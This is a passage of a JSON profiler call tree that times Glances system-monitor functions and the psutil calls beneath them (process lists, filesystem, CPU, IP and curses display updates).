\"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002001,\"attributes\": {\"l719\": 0.002000865999434609},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"__exit__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000145\",\"time\": 0.001999,\"attributes\": {\"c_GeneratorContextManager\": 0.0019987529958598316, \"l148\": 0.0019987529958598316},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019987529958598316, \"l543\": 0.0019987529958598316},\"children\": [{\"identifier\": \"oneshot_exit\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001732\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019987529958598316, \"l1734\": 0.0019987529958598316},\"children\": [{\"identifier\": \"cache_deactivate\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000399\",\"time\": 0.001999,\"attributes\": {\"l404\": 0.0019987529958598316},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020016540001961403, \"l680\": 0.0020016540001961403},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020016540001961403, \"l1593\": 0.0020016540001961403},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020016540001961403, \"l1740\": 0.0020016540001961403},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020016540001961403, \"l1593\": 0.0020016540001961403},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020016540001961403, \"l382\": 0.0020016540001961403},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020016540001961403, \"l1683\": 0.0020016540001961403},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002002,\"attributes\": {\"l730\": 0.0020016540001961403},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002002,\"attributes\": {\"l718\": 0.0020016540001961403},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002002,\"attributes\": {\"l682\": 0.0020016540001961403},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"__enter__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000136\",\"time\": 0.002000,\"attributes\": {\"c_GeneratorContextManager\": 0.002000094005779829, \"l141\": 0.002000094005779829},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000094005779829, \"l530\": 0.002000094005779829},\"children\": [{\"identifier\": \"cache_activate\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000393\",\"time\": 0.002000,\"attributes\": {\"l397\": 0.002000094005779829},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"is_running\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000625\",\"time\": 0.007998,\"attributes\": {\"cProcess\": 0.007998261993634515, \"l639\": 0.007998261993634515},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000313\",\"time\": 0.007998,\"attributes\": {\"cProcess\": 0.007998261993634515, \"l314\": 0.007998261993634515},\"children\": [{\"identifier\": \"_init\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000316\",\"time\": 0.007998,\"attributes\": {\"cProcess\": 0.007998261993634515, \"l324\": 0.0019984559985459782, \"l347\": 0.005999805995088536},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_ident\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000363\",\"time\": 0.006000,\"attributes\": {\"cProcess\": 0.005999805995088536, \"l394\": 0.005999805995088536},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.006000,\"attributes\": {\"cProcess\": 0.005999805995088536, \"l1593\": 0.005999805995088536},\"children\": [{\"identifier\": \"create_time\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001848\",\"time\": 0.006000,\"attributes\": {\"cProcess\": 0.005999805995088536, \"l1857\": 0.005999805995088536},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.006000,\"attributes\": {\"cProcess\": 0.005999805995088536, \"l1593\": 0.005999805995088536},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.006000,\"attributes\": {\"cProcess\": 0.005999805995088536, \"l375\": 0.005999805995088536},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.0039995719998842105, \"l1683\": 0.0039995719998842105},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002001,\"attributes\": {\"l730\": 0.0020007829953101464},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002001,\"attributes\": {\"l719\": 0.0020007829953101464},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"update_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000683\",\"time\": 0.002000,\"attributes\": {\"cGlancesProcesses\": 0.001999979001993779, \"l689\": 0.001999979001993779},\"children\": [{\"identifier\": \"list_of_namedtuple_to_list_of_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000587\",\"time\": 0.002000,\"attributes\": {\"l589\": 0.001999979001993779},\"children\": [{\"identifier\": \"namedtuple_to_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000582\",\"time\": 0.002000,\"attributes\": {\"l584\": 0.001999979001993779},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.002000,\"attributes\": {\"cProcesscountPlugin\": 0.002000163003685884, \"l682\": 0.002000163003685884},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.002000,\"attributes\": {\"cProcesscountPlugin\": 0.002000163003685884, \"l633\": 0.002000163003685884},\"children\": [{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.002000,\"attributes\": {\"cProcesscountPlugin\": 0.002000163003685884, \"l614\": 0.002000163003685884},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/programlist/__init__.py\\u0000148\",\"time\": 0.002003,\"attributes\": {\"cProgramlistPlugin\": 0.0020027909995405935, \"l155\": 0.0020027909995405935},\"children\": [{\"identifier\": \"get_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000704\",\"time\": 0.002003,\"attributes\": {\"cGlancesProcesses\": 0.0020027909995405935, \"l711\": 0.0020027909995405935},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.008011,\"attributes\": {\"cProgramlistPlugin\": 0.008011179997993167, \"l678\": 0.005996364998281933, \"l686\": 0.002014814999711234},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.005996,\"attributes\": {\"cProgramlistPlugin\": 0.005996364998281933, \"l633\": 0.003996325998741668, \"l634\": 0.0020000389995402656},\"children\": [{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.003996,\"attributes\": {\"cProgramlistPlugin\": 0.003996325998741668, \"l621\": 0.003996325998741668},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.002015,\"attributes\": {},\"children\": []}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.001991,\"attributes\": {\"cCpuPlugin\": 0.001990912998735439, \"l1278\": 0.001990912998735439},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.001991,\"attributes\": {\"l1295\": 0.001990912998735439},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/cpu/__init__.py\\u0000169\",\"time\": 0.001991,\"attributes\": {\"cCpuPlugin\": 0.001990912998735439, \"l175\": 0.001990912998735439},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001349\",\"time\": 0.001991,\"attributes\": {\"cCpuPlugin\": 0.001990912998735439, \"l1367\": 0.001990912998735439},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001991,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.009994,\"attributes\": {\"cProcesslistPlugin\": 0.00999427500210004, \"l678\": 0.00999427500210004},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.009994,\"attributes\": {\"cProcesslistPlugin\": 0.00999427500210004, \"l634\": 0.00199624800006859, \"l656\": 0.003998289001174271, \"l633\": 0.003999738000857178},\"children\": [{\"identifier\": \"_build_field_optional\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000625\",\"time\": 0.001996,\"attributes\": {\"cProcesslistPlugin\": 0.00199624800006859, \"l628\": 0.00199624800006859},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001996,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.002002,\"attributes\": {\"cProcesslistPlugin\": 0.002001711996854283, \"l621\": 0.002001711996854283},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.019098,\"attributes\": {\"cFsPlugin\": 0.015226990995870437, \"l1278\": 0.01909816899569705, \"cIpPlugin\": 0.0018676910040085204, \"cQuicklookPlugin\": 0.0020034869958180934},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.019098,\"attributes\": {\"l1295\": 0.01909816899569705},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000125\",\"time\": 0.015227,\"attributes\": {\"cFsPlugin\": 0.015226990995870437, \"l131\": 0.015226990995870437},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000152\",\"time\": 0.015227,\"attributes\": {\"cFsPlugin\": 0.015226990995870437, \"l158\": 0.0020031019957968965, \"l182\": 0.013223889000073541},\"children\": [{\"identifier\": \"get_disk_partitions\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000140\",\"time\": 0.002003,\"attributes\": {\"cFsPlugin\": 0.0020031019957968965, \"l147\": 0.0020031019957968965},\"children\": [{\"identifier\": \"disk_partitions\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002084\",\"time\": 0.002003,\"attributes\": {\"l2093\": 0.0020031019957968965},\"children\": [{\"identifier\": \"disk_partitions\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001208\",\"time\": 0.002003,\"attributes\": {\"l1242\": 0.0020031019957968965},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wraps\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000618\",\"time\": 0.013224,\"attributes\": {\"l630\": 0.003648069003247656, \"l631\": 0.009575819996825885},\"children\": [{\"identifier\": \"start\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000110\",\"time\": 0.002391,\"attributes\": {\"cForkProcess\": 0.0023914780031191185, \"l121\": 0.0023914780031191185},\"children\": [{\"identifier\": \"_Popen\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/context.py\\u0000278\",\"time\": 0.002391,\"attributes\": {\"l281\": 0.0023914780031191185},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000016\",\"time\": 0.002391,\"attributes\": {\"cPopen\": 0.0023914780031191185, \"l20\": 0.0023914780031191185},\"children\": [{\"identifier\": \"_launch\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000066\",\"time\": 0.002391,\"attributes\": {\"cPopen\": 0.0023914780031191185, \"l70\": 0.0023914780031191185},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002391,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000149\",\"time\": 0.005533,\"attributes\": {\"cForkProcess\": 0.005533331001061015, \"l156\": 0.005533331001061015},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000037\",\"time\": 0.005533,\"attributes\": {\"cPopen\": 0.005533331001061015, \"l41\": 0.005533331001061015},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/connection.py\\u00001151\",\"time\": 0.005533,\"attributes\": {\"l1165\": 0.005533331001061015},\"children\": [{\"identifier\": \"select\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/selectors.py\\u0000385\",\"time\": 0.005533,\"attributes\": {\"cPollSelector\": 0.005533331001061015, \"l398\": 0.005533331001061015},\"children\": [{\"identifier\": \"poll.poll\\u0000<built-in>\\u00000\",\"time\": 0.005533,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.005533,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"start\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000110\",\"time\": 0.001257,\"attributes\": {\"cForkProcess\": 0.0012565910001285374, \"l121\": 0.0012565910001285374},\"children\": [{\"identifier\": \"_Popen\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/context.py\\u0000278\",\"time\": 0.001257,\"attributes\": {\"l281\": 0.0012565910001285374},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000016\",\"time\": 0.001257,\"attributes\": {\"cPopen\": 0.0012565910001285374, \"l20\": 0.0012565910001285374},\"children\": [{\"identifier\": \"_launch\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000066\",\"time\": 0.001257,\"attributes\": {\"cPopen\": 0.0012565910001285374, \"l70\": 0.0012565910001285374},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001257,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000149\",\"time\": 0.004042,\"attributes\": {\"cForkProcess\": 0.00404248899576487, \"l156\": 0.00404248899576487},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000037\",\"time\": 0.004042,\"attributes\": {\"cPopen\": 0.00404248899576487, \"l41\": 0.00404248899576487},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/connection.py\\u00001151\",\"time\": 0.004042,\"attributes\": {\"l1165\": 0.00404248899576487},\"children\": [{\"identifier\": \"select\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/selectors.py\\u0000385\",\"time\": 0.004042,\"attributes\": {\"cPollSelector\": 0.00404248899576487, \"l398\": 0.00404248899576487},\"children\": [{\"identifier\": \"poll.poll\\u0000<built-in>\\u00000\",\"time\": 0.004042,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.004042,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/ip/__init__.py\\u0000116\",\"time\": 0.001868,\"attributes\": {\"cIpPlugin\": 0.0018676910040085204, \"l127\": 0.0018676910040085204},\"children\": [{\"identifier\": \"get_stats_for_local_input\\u0000/home/nicolargo/dev/glances/glances/plugins/ip/__init__.py\\u0000138\",\"time\": 0.001868,\"attributes\": {\"cIpPlugin\": 0.0018676910040085204, \"l140\": 0.0018676910040085204},\"children\": [{\"identifier\": \"get_first_ip\\u0000/home/nicolargo/dev/glances/glances/plugins/ip/__init__.py\\u000089\",\"time\": 0.001868,\"attributes\": {\"cIpPlugin\": 0.0018676910040085204, \"l90\": 0.0018676910040085204},\"children\": [{\"identifier\": \"get_ip_address\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000740\",\"time\": 0.001868,\"attributes\": {\"l745\": 0.0018676910040085204},\"children\": [{\"identifier\": \"net_if_stats\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002289\",\"time\": 0.001868,\"attributes\": {\"l2301\": 0.0018676910040085204},\"children\": [{\"identifier\": \"net_if_stats\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000992\",\"time\": 0.001868,\"attributes\": {\"l1003\": 0.0018676910040085204},\"children\": [{\"identifier\": \"net_if_mtu\\u0000<built-in>\\u00000\",\"time\": 0.001868,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001868,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/quicklook/__init__.py\\u0000107\",\"time\": 0.002003,\"attributes\": {\"cQuicklookPlugin\": 0.0020034869958180934, \"l117\": 0.0020034869958180934},\"children\": [{\"identifier\": \"get_info\\u0000/home/nicolargo/dev/glances/glances/cpu_percent.py\\u0000246\",\"time\": 0.002003,\"attributes\": {\"cCpuPercent\": 0.0020034869958180934, \"l252\": 0.0020034869958180934},\"children\": [{\"identifier\": \"cpu_freq\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001937\",\"time\": 0.002003,\"attributes\": {\"l1945\": 0.0020034869958180934},\"children\": [{\"identifier\": \"cpu_freq\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000643\",\"time\": 0.002003,\"attributes\": {\"l677\": 0.0020034869958180934},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001138\",\"time\": 2.077318,\"attributes\": {\"cGlancesCursesStandalone\": 2.0773180080068414, \"l1154\": 0.06803575800586259, \"l1169\": 1.0049427690028097, \"l1172\": 1.0043394809981692},\"children\": [{\"identifier\": \"flush\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001124\",\"time\": 0.068036,\"attributes\": {\"cGlancesCursesStandalone\": 0.06803575800586259, \"l1135\": 0.06590443800087087, \"l1136\": 0.0021313200049917214},\"children\": [{\"identifier\": \"display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000549\",\"time\": 0.065904,\"attributes\": {\"cGlancesCursesStandalone\": 0.06590443800087087, \"l569\": 0.0639019800000824, \"l591\": 0.002002458000788465},\"children\": [{\"identifier\": \"__get_stat_display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000514\",\"time\": 0.063902,\"attributes\": {\"cGlancesCursesStandalone\": 0.0639019800000824, \"l545\": 0.0639019800000824},\"children\": [{\"identifier\": \"get_stats_display\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001082\",\"time\": 0.063902,\"attributes\": {\"cProgramlistPlugin\": 0.021924357002717443, \"l1101\": 0.0639019800000824, \"cProcesslistPlugin\": 0.04197762299736496},\"children\": [{\"identifier\": \"msg_curse\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000556\",\"time\": 0.063902,\"attributes\": {\"cProgramlistPlugin\": 0.021924357002717443, \"l587\": 0.0639019800000824, \"cProcesslistPlugin\": 0.04197762299736496},\"children\": [{\"identifier\": \"get_process_curses_data\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000520\",\"time\": 0.063902,\"attributes\": {\"cProgramlistPlugin\": 0.021924357002717443, \"l538\": 0.06190694699762389, \"cProcesslistPlugin\": 0.04197762299736496, \"l541\": 0.0019950330024585128},\"children\": [{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.001994,\"attributes\": {\"cProgramlistPlugin\": 0.0019943780062021688, \"l325\": 0.0019943780062021688},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001994,\"attributes\": {\"cProgramlistPlugin\": 0.0019943780062021688, \"l874\": 0.0019943780062021688},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001994,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.003999,\"attributes\": {\"cProgramlistPlugin\": 0.0039985499970498495, \"l308\": 0.0039985499970498495},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.003999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.002016,\"attributes\": {\"cProgramlistPlugin\": 0.0020162380023975857, \"l325\": 0.0020162380023975857},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002016,\"attributes\": {\"cProgramlistPlugin\": 0.0020162380023975857, \"l874\": 0.0020162380023975857},\"children\": [{\"identifier\": \"get_limit_log\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000993\",\"time\": 0.002016,\"attributes\": {\"cProgramlistPlugin\": 0.0020162380023975857, \"l1001\": 0.0020162380023975857},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002016,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_cpu_times\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000380\",\"time\": 0.001894,\"attributes\": {\"cProgramlistPlugin\": 0.0018943489994853735, \"l405\": 0.0018943489994853735},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001894,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.005998,\"attributes\": {\"cProgramlistPlugin\": 0.005998481996357441, \"l325\": 0.003992907993961126, \"l324\": 0.0020055740023963153},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001998,\"attributes\": {\"cProgramlistPlugin\": 0.0019983039965154603, \"l855\": 0.0019983039965154603},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.001998,\"attributes\": {\"cProgramlistPlugin\": 0.0019983039965154603, \"l963\": 0.0019983039965154603},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.002006,\"attributes\": {},\"children\": []},{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001995,\"attributes\": {\"cProgramlistPlugin\": 0.0019946039974456653, \"l885\": 0.0019946039974456653},\"children\": [{\"identifier\": \"manage_action\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000904\",\"time\": 0.001995,\"attributes\": {\"cProgramlistPlugin\": 0.0019946039974456653, \"l910\": 0.0019946039974456653},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001995,\"attributes\": {},\"children\": 